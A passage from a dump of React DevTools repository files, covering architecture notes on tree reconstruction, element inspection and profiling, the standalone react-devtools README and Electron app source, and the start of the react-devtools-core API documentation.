constant meaning that the modes a subtree mounts with will never change.\n\n## Reconstructing the tree\n\nThe frontend stores its information about the tree in a map of id to objects with the following keys:\n\n* id: `number`\n* parentID: `number`\n* children: `Array<number>`\n* type: `number` (constant)\n* displayName: `string | null`\n* key: `number | string | null`\n* ownerID: `number`\n* depth: `number` <sup>1</sup>\n* weight: `number` <sup>2</sup>\n\n<sup>1</sup> The `depth` value determines how much padding/indentation to use for the element when rendering it in the Components panel. (This preserves the appearance of a nested tree, even though the view is a flat list.)\n\n<sup>2</sup> The `weight` of an element is the number of elements (including itself) below it in the tree. We cache this property so that we can quickly determine the total number of Components as well as find the Nth element within that set. (This enables us to use windowing.) This value needs to be adjusted each time elements are added or removed from the tree, but we amortize this over time to avoid any big performance hits when rendering the tree.\n\n#### Finding the element at index N\n\nThe tree data structure lets us impose an order on elements and \"quickly\" find the Nth one using the `weight` attribute.\n\nFirst we find which root contains the index:\n```js\nlet rootID;\nlet root;\nlet rootWeight = 0;\nfor (let i = 0; i < this._roots.length; i++) {\n  rootID = this._roots[i];\n  root = this._idToElement.get(rootID);\n  if (root.children.length === 0) {\n    continue;\n  } else if (rootWeight + root.weight > index) {\n    break;\n  } else {\n    rootWeight += root.weight;\n  }\n}\n```\n\nWe skip the root itself because don't display them in the tree:\n```js\nconst firstChildID = root.children[0];\n```\n\nThen we traverse the tree to find the element:\n```js\nlet currentElement = this._idToElement.get(firstChildID);\nlet currentWeight = rootWeight;\nwhile (index !== currentWeight) {\n  for (let i = 0; i < currentElement.children.length; i++) {\n    const childID = currentElement.children[i];\n    const child = this._idToElement.get(childID);\n    const { weight } = child;\n    if (index <= currentWeight + weight) {\n      currentWeight++;\n      currentElement = child;\n      break;\n    } else {\n      currentWeight += weight;\n    }\n  }\n}\n```\n\n## Inspecting an element\n\nWhen an element is mounted in the tree, DevTools sends a minimal amount of information about it across the bridge. This information includes its display name, type, and key- but does _not_ include things like props or state. (These values are often expensive to serialize and change frequently, which would add a significant amount of load to the bridge.)\n\nInstead, DevTools lazily requests additional information about an element only when it is selected in the \"Components\" tab. At that point, the frontend requests this information by sending a special \"_inspectElement_\" message containing the id of the element being inspected. The backend then responds with an \"_inspectedElement_\" message containing the additional details.\n\n### Polling strategy\n\nElements can update frequently, especially in response to things like scrolling events. Since props and state can be large, we avoid sending this information across the bridge every time the selected element is updated. Instead, the frontend polls the backend for updates about once a second. The backend tracks when the element was last \"inspected\" and sends a special no-op response if it has not been re-rendered since then.\n\n### Deeply nested properties\n\nEven when dealing with a single component, serializing deeply nested properties can be expensive. Because of this, DevTools uses a technique referred to as \"dehydration\" to only send a shallow copy of the data on initial inspection. DevTools then fills in the missing data on-demand as a user expands nested objects or arrays. Filled in paths are remembered (for the currently inspected element) so they are not \"dehydrated\" again as part of a polling update.\n\n### Inspecting hooks\n\nHooks present a unique challenge for the DevTools because of the concept of _custom_ hooks. (A custom hook is essentially any function that calls at least one of the built-in hooks. By convention custom hooks also have names that begin with \"use\".)\n\nSo how does DevTools identify custom functions called from within third-party components? It does this by temporarily overriding React's built-in hooks and shallow rendering the component in question. Whenever one of the (overridden) built-in hooks are called, it parses the call stack to spot potential custom hooks (functions between the component itself and the built-in hook). This approach enables it to build a tree structure describing all of the calls to both the built-in _and_ custom hooks, along with the values passed to those hooks. (If you're interested in learning more about this, [here is the source code](https://github.com/facebook/react/blob/main/packages/react-debug-tools/src/ReactDebugHooks.js).)\n\n> **Note**: DevTools obtains hooks info by re-rendering a component.\n> Breakpoints will be invoked during this additional (shallow) render,\n> but DevTools temporarily overrides `console` methods to suppress logging.\n\n### Performance implications\n\nTo mitigate the performance impact of re-rendering a component, DevTools does the following:\n* Only function components that use _at least one hook_ are rendered. (Props and state can be analyzed without rendering.)\n* Rendering is always shallow.\n* Rendering is throttled to occur, at most, once per second.\n* Rendering is skipped if the component has been not updated since the last time its properties were inspected.\n\n## Profiler\n\nDevTools provides a suite of profiling tools for identifying and fixing performance problems. React 16.9+ supports a \"legacy\" profiler and React 18+ adds the [\"timeline\" profiler](https://github.com/facebook/react/tree/main/packages/react-devtools-timeline/src) support. These profilers are explained below, but at a high level– the architecture of each profiler aims to minimize the impact (CPU usage) while profiling is active. This can be accomplished by:\n* Minimizing bridge traffic.\n* Making expensive computations lazy.\n\nThe majority of profiling information is stored in the DevTools backend. The backend push-notifies the frontend of when profiling starts or stops by sending a \"_profilingStatus_\" message. The frontend also asks for the current status after mounting by sending a \"_getProfilingStatus_\" message. (This is done to support the reload-and-profile functionality.)\n\n### Legacy profiler\n\nWhen profiling begins, the frontend takes a snapshot/copy of each root. This snapshot includes the id, name, key, and child IDs for each node in the tree. (This information is already present on the frontend, so it does not require any additional bridge traffic.) While profiling is active, each time React commits– the frontend also stores a copy of the \"_operations_\" message (described above). Once profiling has finished, the frontend can use the original snapshot along with each of the stored \"_operations_\" messages to reconstruct the tree for each of the profiled commits.\n\nWhen profiling begins, the backend records the base durations of each fiber currently in the tree. While profiling is in progress, the backend also stores some information about each commit, including:\n* Commit time and duration\n* Which elements were rendered during that commit\n* Which props and state changed (if enabled in profiler settings)\n\nThis information will eventually be required by the frontend in order to render its profiling graphs, but it will not be sent across the bridge until profiling has been completed (to minimize the performance impact of profiling).\n\n### Timeline profiler\n\nTimeline profiling data can come from one of two places:\n* The React DevTools backend, which injects a [set of profiling hooks](https://github.com/facebook/react/blob/main/packages/react-devtools-shared/src/backend/profilingHooks.js) that React calls while rendering. When profiling, these hooks store information in memory which gets passed to DevTools when profiling is stopped.\n* A Chrome performance export (JSON) containing React data (as User Timing marks) and other browser data like CPU samples, Network traffic, and native commits. (This method is not as convenient but provides more detailed browser performance data.)\n\n### Combining profiling data\n\nOnce profiling is finished, the frontend requests profiling data from the backend one renderer at a time by sending a \"_getProfilingData_\" message. The backend responds with a \"_profilingData_\" message that contains per-root commit timing and duration information. The frontend then combines this information with its own snapshots to form a complete picture of the profiling session. Using this data, charts and graphs are lazily computed (and incrementally cached) on-demand, based on which commits and views are selected in the Profiler UI.\n\n### Importing/exporting data\n\nBecause all of the data is merged in the frontend after a profiling session is completed, it can be exported and imported (as a single JSON object), enabling profiling sessions to be shared between users.\n\n## Package Specific Details\n\n### Devtools Extension Overview Diagram\n\n![React Devtools Extension](https://user-images.githubusercontent.com/2735514/132768489-6ab85156-b816-442f-9c3f-7af738ee9e49.png)\n\n"
  },
  {
    "path": "packages/react-devtools/README.md",
    "content": "# `react-devtools`\n\nThis package can be used to debug non-browser-based React applications (e.g. React Native, mobile browser or embedded webview, Safari).\n\n![React DevTools screenshot](https://user-images.githubusercontent.com/29597/63811956-bdd9b580-c8dd-11e9-8962-c568e475c425.png)\n\n## Installation\nInstall the `react-devtools` package. Because this is a development tool, a global install is often the most convenient:\n```sh\n# Yarn\nyarn global add react-devtools\n\n# NPM\nnpm install -g react-devtools\n```\n\nIf you prefer to avoid global installations, you can add `react-devtools` as a project dependency. With Yarn, you can do this by running:\n```sh\nyarn add --dev react-devtools\n```\n\nWith NPM you can just use [NPX](https://www.npmjs.com/package/npx):\n```sh\nnpx react-devtools\n```\n\n## Usage with React Native\nRun `react-devtools` from the terminal to launch the standalone DevTools app:\n```sh\nreact-devtools\n```\n\nIf you're not using a local simulator, you'll also need to forward ports used by React DevTools:\n```sh\nadb reverse tcp:8097 tcp:8097\n```\n\nIf you're using React Native 0.43 or higher, it should connect to your simulator within a few seconds. (If this doesn't happen automatically, try reloading the React Native app.)\n\n### Integration with React Native Inspector\n\nYou can open the [in-app developer menu](https://reactnative.dev/docs/debugging#accessing-the-in-app-developer-menu) and choose \"Show Inspector\". It will bring up an overlay that lets you tap on any UI element and see information about it:\n\n![React Native Inspector](https://i.imgur.com/ReFhREb.gif)\n\nHowever, when `react-devtools` is running, Inspector will enter a special collapsed mode, and instead use the DevTools as primary UI. In this mode, clicking on something in the simulator will bring up the relevant components in the DevTools:\n\n![React DevTools Inspector Integration](https://user-images.githubusercontent.com/29597/63811958-be724c00-c8dd-11e9-8587-37357334a0e1.gif)\n\n\nYou can choose \"Hide Inspector\" in the same menu to exit this mode.\n\n### Inspecting Component Instances\n\nWhen debugging JavaScript in Chrome, you can inspect the props and state of the React components in the browser console.\n\nFirst, follow the [instructions for debugging in Chrome](https://reactnative.dev/docs/debugging#chrome-developer-tools) to open the Chrome console.\n\nMake sure that the dropdown in the top left corner of the Chrome console says `debuggerWorker.js`. **This step is essential.**\n\nThen select a React component in React DevTools. There is a search box at the top that helps you find one by name. As soon as you select it, it will be available as `$r` in the Chrome console, letting you inspect its props, state, and instance properties.\n\n![React DevTools Chrome Console Integration](https://user-images.githubusercontent.com/29597/63811957-be724c00-c8dd-11e9-9d1d-8eba440ef948.gif)\n\n\n## Usage with React DOM\n\nThe standalone shell can also be useful with React DOM (e.g. to debug apps in Safari or inside of an iframe).\n\nRun `react-devtools` from the terminal to launch the standalone DevTools app:\n```sh\nreact-devtools\n```\n\nAdd `<script src=\"http://localhost:8097\"></script>` as the very first `<script>` tag in the `<head>` of your page when developing:\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <script src=\"http://localhost:8097\"></script>\n```\n\nThis will ensure the developer tools are connected. **Don’t forget to remove it before deploying to production!**\n\n>If you install `react-devtools` as a project dependency, you may also replace the `<script>` suggested above with a JavaScript import (`import 'react-devtools'`). It is important that this import comes before any other imports in your app (especially before `react-dom`). Make sure to remove the import before deploying to production, as it carries a large DevTools client with it. If you use Webpack and have control over its configuration, you could alternatively add `'react-devtools'` as the first item in the `entry` array of the development-only configuration, and then you wouldn’t need to deal either with `<script>` tags or `import` statements.\n\n## Advanced\n\nBy default DevTools listen to port `8097` on `localhost`. If you need to customize the server or client connection settings, the following environment variables are available:\n\n| Env Var | Default | Description |\n|---|---|---|\n| `HOST` | `\"localhost\"` | Host the local server binds to. |\n| `PORT` | `8097` | Port the local server listens on. |\n| `REACT_DEVTOOLS_PORT` | | Alias for `PORT`. Takes precedence if both are set. |\n| `KEY` | | Path to an SSL key file. Enables HTTPS when set alongside `CERT`. |\n| `CERT` | | Path to an SSL certificate file. Enables HTTPS when set alongside `KEY`. |\n| `REACT_DEVTOOLS_PATH` | | Path appended to the WebSocket URI served to clients (e.g. `/__react_devtools__/`). |\n| `REACT_DEVTOOLS_CLIENT_HOST` | `HOST` | Overrides the host in the script served to connecting clients. |\n| `REACT_DEVTOOLS_CLIENT_PORT` | `PORT` | Overrides the port in the script served to connecting clients. |\n| `REACT_DEVTOOLS_CLIENT_USE_HTTPS` | | Set to `\"true\"` to make the served client script use `wss://`. |\n\nWhen connecting through a reverse proxy, use the `REACT_DEVTOOLS_CLIENT_*` variables to tell clients to connect to a different host/port/protocol than the local server:\n\n```sh\nREACT_DEVTOOLS_CLIENT_HOST=remote.example.com \\\nREACT_DEVTOOLS_CLIENT_PORT=443 \\\nREACT_DEVTOOLS_CLIENT_USE_HTTPS=true \\\nREACT_DEVTOOLS_PATH=/__react_devtools__/ \\\nreact-devtools\n```\n\nFor more details, see the [`react-devtools-core` documentation](https://github.com/facebook/react/tree/main/packages/react-devtools-core).\n\n## FAQ\n\n### The React Tab Doesn't Show Up\n\n**If you are running your app from a local `file://` URL**, don't forget to check \"Allow access to file URLs\" on the Chrome Extensions settings page. You can find it by opening Settings > Extensions:\n\n![Allow access to file URLs](https://user-images.githubusercontent.com/29597/64646784-95b58080-d3cc-11e9-943d-02474683398a.png)\n\nOr you could develop with a local HTTP server like [`serve`](https://www.npmjs.com/package/serve).\n\n**The React tab won't show up if the site doesn't use React**, or if React can't communicate with the devtools. When the page loads, the devtools sets a global named `__REACT_DEVTOOLS_GLOBAL_HOOK__`, then React communicates with that hook during initialization. You can test this on the [React website](https://reactjs.org/) or by inspecting [Facebook](https://www.facebook.com/).\n\n**If your app is inside of CodePen**, make sure you are registered. Then press Fork (if it's not your pen), and then choose Change View > Debug. The Debug view is inspectable with DevTools because it doesn't use an iframe.\n\n**If your app is inside an iframe, a Chrome extension, React Native, or in another unusual environment**, try [the standalone version instead](https://github.com/facebook/react/tree/main/packages/react-devtools). Chrome apps are currently not inspectable.\n\n**If your Components tab is empty, refer to \"The React tab shows no components\" section below**.\n\n**If you still have issues** please [report them](https://github.com/facebook/react/issues/new?labels=Component:%20Developer%20Tools). Don't forget to specify your OS, browser version, extension version, and the exact instructions to reproduce the issue with a screenshot.\n\n### The React tab shows no components\n\n#### The Issue with Chrome v101 and earlier\nAs we migrate to a Chrome Extension Manifest V3, we start to use a new method to hook the DevTools with the inspected page. This new method is more secure, but relies on a new API that's only supported in Chrome v102+. For Chrome v101 or earlier, we use a fallback method, which can cause malfunctions (e.g. failure to load React Elements in the Components tab) if the JS resources on your page is loaded from cache. Please upgrade to Chrome v102+ to avoid this issue.\n\n#### Service Worker malfunction\nGo to chrome://extensions. If you see \"service worker (inactive)\" in the React Developer Tools extension, try disabling and re-enabling the extension. This will restart the service worker. Then go to the page you want to inspect, close the DevTools, and reload the page. Open the DevTools again and the React components tab should be working.\n\n## Local development\nThe standalone DevTools app can be built and tested from source following the instructions below.\n\n### Prerequisite steps\nDevTools depends on local versions of several NPM packages<sup>1</sup> also in this workspace. You'll need to either build or download those packages first.\n\n<sup>1</sup> Note that at this time, an _experimental_ build is required because DevTools depends on the `createRoot` API.\n\n#### Build from source\nTo build dependencies from source, run the following command from the root of the repository:\n```sh\nyarn build-for-devtools\n```\n#### Download from CI\nTo use the latest build from CI, run the following command from the root of the repository:\n```sh\n./scripts/release/download-experimental-build.js\n```\n### Build steps\nYou can test the standalone DevTools by running the following:\n\n* **First, complete the prerequisite steps above! If you don't do it, none of the steps below will work.**\n* Then, run `yarn start:backend` and `yarn start:standalone` in `packages/react-devtools-core`\n* Run `yarn start` in `packages/react-devtools`\n* Refresh the app after it has recompiled a change\n* For React Native, copy `react-devtools-core` to its `node_modules` to test your changes.\n"
  },
  {
    "path": "packages/react-devtools/app.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <title>React Developer Tools</title>\n    <meta charset=\"utf8\" />\n    <style>\n      html {\n        height: 100%;\n        font-family: sans-serif;\n      }\n      body {\n        height: 100%;\n        margin: 0;\n        padding: 0;\n        background-color: #fff;\n        color: #777d88;\n      }\n\n      .container {\n        height: 100%;\n        display: flex;\n        flex-direction: column;\n        align-items: center;\n        justify-content: center;\n        overflow: auto;\n      }\n\n      p {\n        padding: 0;\n        margin: 0;\n      }\n\n      .input {\n        display: block;\n        font-weight: 100;\n        padding: 0 0.25rem;\n        border: 1px solid #aaa;\n        background-color: #fff;\n        color: #666;\n      }\n\n      .link {\n        color: #1478fa;\n        text-decoration: none;\n      }\n      .link:hover {\n        text-decoration: underline;\n      }\n\n      .waiting-header {\n        padding: 0.5rem;\n        display: inline-block;\n        position: absolute;\n        right: 0.5rem;\n        top: 0.5rem;\n        border-radius: 0.25rem;\n        background-color: rgba(0,1,2,.6);\n        color: white;\n        border: none;\n        font-weight: 100;\n        font-style: italic;\n      }\n\n      .boxes {\n        display: flex;\n        flex-direction: column;\n        align-items: stretch;\n        justify-content: center;\n        padding: 1rem;\n      }\n      .box {\n        text-align: center;\n        border-radius: 0.5rem;\n        background-color: #f7f7f7;\n        border: 1px solid #eee;\n        color: #777d88;\n        padding: 1rem;\n        margin-top: 1rem;\n      }\n      .box:first-of-type {\n        margin-top: 0;\n      }\n\n      .box-header {\n        text-align: center;\n        color: #5f6673;\n        font-size: 1.25rem;\n        margin-bottom: 0.5rem;\n      }\n      .box-content {\n        line-height: 1.5rem;\n      }\n\n      #loading-status {\n        text-align: center;\n        margin-top: 1rem;\n      }\n\n      .prompt,\n      .confirmation {\n        margin-bottom: 0.25rem;\n      }\n\n      .confirmation {\n        font-style: italic;\n      }\n\n      .hidden {\n        display: none;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"container\" class=\"container\" style=\"-webkit-user-select: none; -webkit-app-region: drag;\">\n      <div class=\"waiting-header\">Waiting for React to connect…</div>\n      <div class=\"boxes\" style=\"-webkit-app-region: none;\">\n        <div class=\"box\">\n          <div class=\"box-header\">React Native</div>\n          <div class=\"box-content\">\n            Open the <a\n              id=\"rn-help-link\"\n              class=\"link\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              href=\"https://reactnative.dev/docs/debugging#accessing-the-in-app-developer-menu\"\n            >in-app developer menu</a> to connect.\n          </div>\n        </div>\n        <div class=\"box\">\n          <div class=\"box-header\">React DOM</div>\n          <div class=\"box-content\">\n            <div id=\"box-content-prompt\" class=\"prompt\">\n              Add one of the following (click to copy):\n            </div>\n            <div id=\"box-content-confirmation\" class=\"confirmation hidden\">\n              Copied to clipboard.\n            </div>\n            <span class=\"input\" contenteditable=\"true\" id=\"localhost\"></span>\n            <span class=\"input\" contenteditable=\"true\" id=\"byip\"></span>\n            to the top of the page you want to debug,\n            <br />\n            <strong>before</strong> importing React DOM.\n          </div>\n        </div>\n        <div class=\"box\">\n          <div class=\"box-header\">Profiler</div>\n          <div class=\"box-content\">\n            Open the <a\n              id=\"profiler\"\n              class=\"link\"\n              href=\"#\"\n            >Profiler tab</a> to inspect saved profiles.\n          </div>\n        </div>\n        <div id=\"loading-status\">Starting the server…</div>\n      </div>\n    </div>\n    <script>\n      // window.api is defined in preload.js\n      const {electron, readEnv, ip, getDevTools} = window.api;\n      const {options, useHttps, host, protocol, port, path, clientHost, clientPort, clientUseHttps} = readEnv();\n\n      const localIp = ip.address();\n\n      // Effective values for display URLs: client overrides take precedence over server values.\n      const effectiveHost = clientHost != null ? clientHost : host;\n      const effectivePort = clientPort != null ? clientPort : port;\n      const effectiveUseHttps = clientUseHttps != null ? clientUseHttps : useHttps;\n      const effectiveProtocol = effectiveUseHttps ? 'https' : 'http';\n      const defaultPort = (effectivePort === 443 && effectiveUseHttps) || (effectivePort === 80 && !effectiveUseHttps);\n      const pathStr = path != null ? path : '';\n      const server = defaultPort ? `${effectiveProtocol}://${effectiveHost}${pathStr}` : `${effectiveProtocol}://${effectiveHost}:${effectivePort}${pathStr}`;\n      const serverIp = defaultPort ? `${effectiveProtocol}://${localIp}${pathStr}` : `${effectiveProtocol}://${localIp}:${effectivePort}${pathStr}`;\n      const $ = document.querySelector.bind(document);\n      \n      let timeoutID;\n      \n      function selectAllAndCopy(event) {\n        const element = event.target;\n        if (window.getSelection) {\n          const selection = window.getSelection();\n          const range = document.createRange();\n          range.selectNodeContents(element);\n          selection.removeAllRanges();\n          selection.addRange(range);\n          electron.clipboard.writeText(event.target.textContent);\n          \n          const $promptDiv = $(\"#box-content-prompt\");\n          const $confirmationDiv = $(\"#box-content-confirmation\");\n          $promptDiv.classList.add('hidden');\n          $confirmationDiv.classList.remove('hidden');\n\n          if (timeoutID) {\n            clearTimeout(timeoutID);\n          }\n\n          timeoutID = setTimeout(() => {\n            $promptDiv.classList.remove('hidden');\n            $confirmationDiv.classList.add('hidden');\n          }, 1000);\n        }\n      }\n\n      function openProfiler() {\n        window.devtools\n          .setContentDOMNode(document.getElementById(\"container\"))\n          .openProfiler();\n      }\n\n      function attachListeners() {\n        const link = $('#rn-help-link');\n        link.addEventListener('click', event => {\n          event.preventDefault();\n          electron.shell.openExternal(link.href);\n        });\n  \n        const $localhost = $(\"#localhost\");\n        $localhost.innerText = `<script src=\"${server}\"></` + 'script>';\n        $localhost.addEventListener('click', selectAllAndCopy);\n        $localhost.addEventListener('focus', selectAllAndCopy);\n  \n        const $byIp = $(\"#byip\");\n        $byIp.innerText = `<script src=\"${serverIp}\"></` + 'script>';\n        $byIp.addEventListener('click', selectAllAndCopy);\n        $byIp.addEventListener('focus', selectAllAndCopy);\n  \n        const $profiler = $(\"#profiler\");\n        $profiler.addEventListener('click', openProfiler);\n      };\n\n      // Initially attach the listeners\n      attachListeners();\n\n      window.devtools = getDevTools();\n      window.server = window.devtools\n        .setContentDOMNode(document.getElementById(\"container\"))\n        .setDisconnectedCallback(attachListeners)\n        .setStatusListener(function(status) {\n          const element = document.getElementById(\"loading-status\");\n          if (element) {\n            element.innerText = status;\n          }\n        })\n        .startServer(port, host, options, undefined, path, {host: clientHost, port: clientPort, useHttps: clientUseHttps});\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "packages/react-devtools/app.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst {app, BrowserWindow, shell} = require('electron'); // Module to create native browser window.\nconst {join} = require('path');\nconst os = require('os');\n\nconst argv = require('minimist')(process.argv.slice(2));\nconst projectRoots = argv._;\n\nlet mainWindow = null;\n\napp.on('window-all-closed', function () {\n  app.quit();\n});\n\napp.on('ready', function () {\n  // Create the browser window.\n  mainWindow = new BrowserWindow({\n    width: 800,\n    height: 600,\n    icon: join(__dirname, 'icons/icon128.png'),\n    frame: false,\n    //titleBarStyle: 'customButtonsOnHover',\n    webPreferences: {\n      contextIsolation: true, // protect against prototype pollution\n      enableRemoteModule: false, // turn off remote\n      sandbox: false, // allow preload script to access file system\n      preload: join(__dirname, 'preload.js'), // use a preload script to expose node globals\n    },\n  });\n\n  // set dock icon for macos\n  if (os.platform() === 'darwin') {\n    app.dock.setIcon(join(__dirname, 'icons/icon128.png'));\n  }\n\n  // https://stackoverflow.com/questions/32402327/\n  mainWindow.webContents.setWindowOpenHandler(({url}) => {\n    shell.openExternal(url);\n    return {action: 'deny'};\n  });\n\n  // and load the index.html of the app.\n  mainWindow.loadURL('file://' + __dirname + '/app.html');\n  // $FlowFixMe[incompatible-use] found when upgrading Flow\n  mainWindow.webContents.executeJavaScript(\n    // We use this so that RN can keep relative JSX __source filenames\n    // but \"click to open in editor\" still works. js1 passes project roots\n    // as the argument to DevTools.\n    'window.devtools.setProjectRoots(' + JSON.stringify(projectRoots) + ')',\n  );\n\n  // Emitted when the window is closed.\n  mainWindow.on('closed', function () {\n    mainWindow = null;\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools/bin.js",
    "content": "#!/usr/bin/env node\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst electron = require('electron');\nconst spawn = require('cross-spawn');\nconst argv = process.argv.slice(2);\nconst pkg = require('./package.json');\nconst updateNotifier = require('update-notifier');\n\n// Notify if there's an update in 7 days' interval\nconst notifier = updateNotifier({\n  pkg,\n  updateCheckInterval: 1000 * 60 * 60 * 24 * 7,\n});\n\nif (notifier.update) {\n  const updateMsg =\n    `Update available ${notifier.update.current} -> ${notifier.update.latest}` +\n    '\\nTo update:' +\n    '\\n\"npm i [-g] react-devtools\" or \"yarn add react-devtools\"';\n  notifier.notify({defer: false, message: updateMsg});\n}\n\nconst result = spawn.sync(electron, [require.resolve('./app')].concat(argv), {\n  stdio: 'ignore',\n});\n\nprocess.exit(result.status);\n"
  },
  {
    "path": "packages/react-devtools/package.json",
    "content": "{\n  \"name\": \"react-devtools\",\n  \"version\": \"7.0.1\",\n  \"description\": \"Use react-devtools outside of the browser\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-devtools\"\n  },\n  \"bin\": {\n    \"react-devtools\": \"./bin.js\"\n  },\n  \"files\": [\n    \"bin.js\",\n    \"app.html\",\n    \"app.js\",\n    \"icons\",\n    \"preload.js\"\n  ],\n  \"scripts\": {\n    \"start\": \"node bin.js\"\n  },\n  \"dependencies\": {\n    \"cross-spawn\": \"^5.0.1\",\n    \"electron\": \"^23.1.2\",\n    \"internal-ip\": \"^6.2.0\",\n    \"minimist\": \"^1.2.3\",\n    \"react-devtools-core\": \"7.0.1\",\n    \"update-notifier\": \"^5.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools/preload.js",
    "content": "const {clipboard, shell, contextBridge} = require('electron');\nconst fs = require('fs');\nconst internalIP = require('internal-ip');\n\n// Expose protected methods so that render process does not need unsafe node integration\ncontextBridge.exposeInMainWorld('api', {\n  electron: {clipboard, shell},\n  ip: {address: internalIP.v4.sync},\n  getDevTools() {\n    let devtools;\n    try {\n      devtools = require('react-devtools-core/standalone').default;\n    } catch (err) {\n      alert(\n        err.toString() +\n          '\\n\\nDid you run `yarn` and `yarn run build` in packages/react-devtools-core?',\n      );\n    }\n    return devtools;\n  },\n  readEnv() {\n    let options;\n    let useHttps = false;\n    try {\n      if (process.env.KEY && process.env.CERT) {\n        options = {\n          key: fs.readFileSync(process.env.KEY),\n          cert: fs.readFileSync(process.env.CERT),\n        };\n        useHttps = true;\n      }\n    } catch (err) {\n      console.error('Failed to process SSL options - ', err);\n      options = undefined;\n    }\n    const host = process.env.HOST || 'localhost';\n    const protocol = useHttps ? 'https' : 'http';\n    const port = +process.env.REACT_DEVTOOLS_PORT || +process.env.PORT || 8097;\n    const path = process.env.REACT_DEVTOOLS_PATH || undefined;\n    const clientHost = process.env.REACT_DEVTOOLS_CLIENT_HOST || undefined;\n    const clientPort = process.env.REACT_DEVTOOLS_CLIENT_PORT\n      ? +process.env.REACT_DEVTOOLS_CLIENT_PORT\n      : undefined;\n    const clientUseHttps =\n      process.env.REACT_DEVTOOLS_CLIENT_USE_HTTPS === 'true' ? true : undefined;\n    return {\n      options,\n      useHttps,\n      host,\n      protocol,\n      port,\n      path,\n      clientHost,\n      clientPort,\n      clientUseHttps,\n    };\n  },\n});\n"
  },
  {
    "path": "packages/react-devtools-core/README.md",
    "content": "# `react-devtools-core`\n\nThis package provides low-level APIs to support renderers like [React Native](https://github.com/facebook/react-native). If you're looking for the standalone React DevTools UI, **we suggest using [`react-devtools`](https://github.com/facebook/react/tree/main/packages/react-devtools) instead of using this package directly**.\n\nThis package provides two entrypoints: labeled \"backend\" and \"standalone\" (frontend). Both APIs are described below.\n\n# Backend API\n\nBackend APIs are embedded in _development_ builds of renderers like [React Native](https://github.com/facebook/react-native) in order to connect to the React DevTools UI.\n\n### Example\n\nIf you are building a non-browser-based React renderer, you can use the backend API like so:\n\n```js\nif (process.env.NODE_ENV !== 'production') {\n  const { initialize, connectToDevTools } = require(\"react-devtools-core\");\n\n  initialize(settings);\n  // Must be called before packages like react or react-native are imported\n  connectToDevTools({...config});\n}\n```\n\n> **NOTE** that this API (`connectToDevTools`) must be (1) run in the same context as React and (2) must be called before React packages are imported (e.g. `react`, `react-dom`, `react-native`).\n\n### `initialize` arguments\n| Argument                  | Description |\n|---------------------------|-------------|\n| `settings`                | Optional. If not specified, or received as null, then default settings are used. Can be plain object or a Promise that resolves with the [plain settings object](#Settings). If Promise rejects, the console will not be patched and some console features from React DevTools will not work. |\n| `shouldStartProfilingNow` | Optional. Whether to start profiling immediately after installing the hook. Defaults to `false`. |\n| `profilingSettings`       | Optional. Profiling settings used when `shouldStartProfilingNow` is `true`. Defaults to `{ recordChangeDescriptions: false, recordTimeline: false }`. |\n| `componentFilters`        | Optional. Array or Promise that resolves to an array of component filters to apply before DevTools connects. Defaults to the built-in host component filter. See [Component filters](#component-filters) for the full spec. |\n\n#### `Settings`\n| Spec                                                                                                                                                                           | Default value                                                                                                                                                        |\n|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| <pre>{<br>  appendComponentStack: boolean,<br>  breakOnConsoleErrors: boolean,<br>  showInlineWarningsAndErrors: boolean,<br>  hideConsoleLogsInStrictMode: boolean,<br>  disableSecondConsoleLogDimmingInStrictMode: boolean<br>}</pre> | <pre>{<br>  appendComponentStack: true,<br>  breakOnConsoleErrors: false,<br>  showInlineWarningsAndErrors: true,<br>  hideConsoleLogsInStrictMode: false,<br>  disableSecondConsoleLogDimmingInStrictMode: false<br>}</pre> |\n\n#### Component filters\nEach filter object must include `type` and `isEnabled`. Some filters also require `value` or `isValid`.\n\n| Type | Required fields | Description |\n|------|-----------------|-------------|\n| `ComponentFilterElementType` (`1`) | `type`, `isEnabled`, `value: ElementType` | Hides elements of the given element type. DevTools defaults to hiding host components. |\n| `ComponentFilterDisplayName` (`2`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose display name matches the provided RegExp string. |\n| `ComponentFilterLocation` (`3`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose source location matches the provided RegExp string. |\n| `ComponentFilterHOC` (`4`) | `type`, `isEnabled`, `isValid` | Hides higher-order components. |\n| `ComponentFilterEnvironmentName` (`5`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose environment name matches the provided string. |\n| `ComponentFilterActivitySlice` (`6`) | `type`, `isEnabled`, `isValid`, `activityID`, `rendererID` | Filters activity slices; usually managed by DevTools rather than user code. |\n\n### `connectToDevTools` options\n| Prop                   | Default       | Description                                                                                                               |\n|------------------------|---------------|---------------------------------------------------------------------------------------------------------------------------|\n| `host`                 | `\"localhost\"` | Socket connection to frontend should use this host.                                                                       |\n| `isAppActive`          |               | (Optional) function that returns true/false, telling DevTools when it's ready to connect to React.                        |\n| `path`                 | `\"\"`          | Path appended to the WebSocket URI (e.g. `\"/__react_devtools__/\"`). Useful when proxying through a reverse proxy on a subpath. A leading `/` is added automatically if missing. |\n| `port`                 | `8097`        | Socket connection to frontend should use this port.                                                                       |\n| `resolveRNStyle`       |               | (Optional) function that accepts a key (number) and returns a style (object); used by React Native.                       |\n| `retryConnectionDelay` | `200`         | Delay (ms) to wait between retrying a failed Websocket connection                                                         |\n| `useHttps`             | `false`       | Socket connection to frontend should use secure protocol (wss).                                                           |\n| `websocket`            |               | Custom `WebSocket` connection to frontend; overrides `host` and `port` settings.                                          |\n| `onSettingsUpdated`    |               | A callback that will be called when the user updates the settings in the UI. You can use it for persisting user settings. |                                                                                    